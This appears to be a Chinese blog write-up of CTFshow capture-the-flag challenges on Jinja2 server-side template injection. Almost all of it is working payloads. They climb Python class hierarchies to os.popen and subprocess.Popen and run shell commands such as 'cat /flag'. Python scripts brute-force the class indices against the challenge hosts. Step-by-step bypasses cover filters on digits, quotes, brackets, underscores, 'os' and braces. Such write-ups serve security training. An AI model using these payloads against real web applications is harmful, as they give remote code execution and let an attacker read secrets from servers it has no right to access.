赞
踩
目录
最近搞了几题SSTI 有点意思
做一下CTFSHOW的吧
名字就是考点
这题简单直接payload 和过程了
- ?name={{7*7}}
-
- ?name={{"".__class__.__base__.__subclasses__()}}
-
这里贴上一下脚本 用来查找位数
- import time
-
- import requests
-
-
-
- base_url="http://d30af560-b595-44ce-b476-e5681156b059.challenge.ctf.show/?name="
- for i in range(200):
- payload="{{\"\".__class__.__base__.__subclasses__()[%s]}}"%i
- r= requests.get(url=base_url+payload)
- if "subprocess.Popen" in r.text:
- print(i)
- if r.status_code == 429:
- time.sleep(0.5)
简单的我就使用多点方法
/?name={{"".__class__.__base__.__subclasses__()[407]}}
- /?name={{"".__class__.__base__.__subclasses__()[407]("ls",shell=True,stdout=-1).communicate()[0].strip()}}
- ?name={{"".__class__.__base__.__subclasses__()[132]}}
-
- /?name={{"".__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']("ls").read()}}
-
- /?name={{"".__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']("ls /").read()}}
-
- /?name={{"".__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']("cat /f*").read()}}
- {{url_for.__globals__}}
-
- {{url_for.__globals__["current.app"].config}}
但是这里没有
下面是
推测可能是 twig 和 Jinja2 使用
- ?name={{lipsum.__globals__}}
-
- ?name={{lipsum.__globals__['os']}}
-
- {{lipsum.__globals__['os'].popen("ls").read()}}
-
- {{lipsum.__globals__['os'].popen("cat /f*").read()}}
- ?name={{cycler.__init__.__globals__}}
-
- ?name={{cycler.__init__.__globals__.os.popen("ls /").read()}}
-
- ?name={{cycler.__init__.__globals__.os.popen("cat /f*").read()}}
不写了 太多了
还是需要理解 一旦出现过滤 这种直接复制粘贴是没有用的 最好在 python中多看看
这里过滤了数字
我们有两个方法
{% set a='aaaaaa'|length %}{{ ().__class__.__base__.__subclasses__()[a] }}
但是这个需要拼接很多
所以放弃
- def half2full(half):
- full = ''
- for ch in half:
- if ord(ch) in range(33, 127):
- ch = chr(ord(ch) + 0xfee0)
- elif ord(ch) == 32:
- ch = chr(0x3000)
- else:
- pass
- full += ch
- return full
- t=''
- s="0123456789"
- for i in s:
- t+='\''+half2full(i)+'\','
- print(t)
-

- '0','1','2','3','4','5','6','7','8','9',
-
- 132
/?name={{"".__class__.__base__.__subclasses__()[132].__init__.__globals__.popen("cat /f*").read()}}
?name={{lipsum.__globals__['os'].popen("cat /flag").read()}}
这里可以使用构造request方式绕过 这里过滤了引号
我们需要构造无引号的
这里可以记住 过滤了引号 我们就可以通过括号来查找
这里可以使用自定义的变量来绕过 request.values.a 类似于自己定义的变量
只需要在}}后面传递参数即可
- {{().__class__.__mro__[1].__subclasses__()}}
-
-
- /?name={{().__class__.__mro__[1].__subclasses__()[].__init__.__globals__.__getitem__(request.values.a)}}&a=popen
-
- 这里是我们需要跑的脚本类型
-
- 我们需要找到popen来执行命令 我们就可以通过遍历类 然后通过__getitem__找到方法request
- 然后来查询popen
写个脚本
- import requests
-
- baseurl="http://c48f6cc8-a4d6-4783-86af-982c96cf190e.challenge.ctf.show/?name="
-
- for i in range(1000):
- payload="""{{().__class__.__mro__[1].__subclasses__()[%i].__init__.__globals__.__getitem__(request.values.a)}}&a=popen"""%i
- r=requests.get(url=baseurl+payload)
- if "popen" in r.text:
- print(i)
- else:
- continue
跑出来132
- {{().__class__.__mro__[1].__subclasses__()[132].__init__.__globals__.__getitem__(request.values.a)(request.values.b).read()}}&a=popen&b=ls
-
-
- /?name={{().__class__.__mro__[1].__subclasses__()[132].__init__.__globals__.__getitem__(request.values.a)(request.values.b).read()}}&a=popen&b=cat /flag
这里其实使用上一题的方法还是可以
/?name={{().__class__.__mro__[1].__subclasses__()[132].__init__.__globals__.__getitem__(request.values.a)(request.values.b).read()}}&a=popen&b=cat /flag
这里介绍一下另一个方法chr 方法
- import requests
-
- baseurl="http://c48f6cc8-a4d6-4783-86af-982c96cf190e.challenge.ctf.show/?name="
-
- for i in range(1000):
- payload="""{{().__class__.__mro__[1].__subclasses__()[%s].__init__.__globals__.__builtins__.chr}}"""%i
- r=requests.get(url=baseurl+payload)
- if "chr" in r.text:
- print(i)
- else:
- continue
通过脚本 寻找存在chr方法的类
然后使用 框架表达式 {{%%}}声明变量
来声明 chr的方法
- ?name={%set+chr=().__class__.__mro__[1].__subclasses__()[80].__init__.__globals__.__builtins__.chr%}{{().__class__.__mro__[1].__subclasses__()[132].__init__.__globals__.popen(chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)).read()}}
-
-
-
- 这里是两块
- {% set chr=().__class__.__mro__[1].__subclasses__()[80].__init__.__globals__.__builtins__.chr%}
-
- 第一块 来设置chr
-
-
- 第二块
- {{().__class__.__mro__[1].__subclasses__()[132].__init__.__globals__.popen(chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)).read()}}
-
- 这里的chr() 是 cat /f*
这里比上一题多了中括号的过滤
- __golbals__[123]
-
- __golbals__.__getitem__(123)
这两个 是没有区别的
所以遇到了中括号我们可以运用这个方式来做
- ?name={{().__class__.__mro__.__getitem__(1).__subclasses__().__getitem__(132).__init__.__globals__.popen(request.values.a).read()}}&a=ls
-
-
- ?name={{().__class__.__mro__.__getitem__(1).__subclasses__().__getitem__(132).__init__.__globals__.popen(request.values.a).read()}}&a=cat /f*
这里接着上面的内容过滤了下划线
- ().__class__
-
-
- ()|attr('__class__') 这两个是一样的
-
-
- 但是这个题目过滤了_
-
- 我们可以使用request来绕过
-
-
- (lipsum|attr(request.values.a)) &a=__class__
直接构造payload
- {{lipsum|attr(request.values.b)}}&b=__globals__
-
-
- {{(lipsum|attr(request.values.b)).os}}&b=__globals__
-
-
-
- {{(lipsum|attr(request.values.b)).os.popen(request.values.c).read()}}&b=__globals__&c=ls
-
- {{(lipsum|attr(request.values.b)).os.popen(request.values.c).read()}}&b=__globals__&c=cat /f*
这里在上面的基础上过滤了os
这里需要使用 get(request.values.a) 来获取os
其余和上面一样即可
?name={{(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()}}&a=__globals__&b=os&c=cat /f*
这里我们过滤了{{ 但是没有过滤其他表达式
我们通过 {% %}
表达式修改一下即可
- ?name={%+print(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()%}&a=__globals__&b=os&c=ls
-
-
- ?name={%+print(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()%}&a=__globals__&b=os&c=cat /f*
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。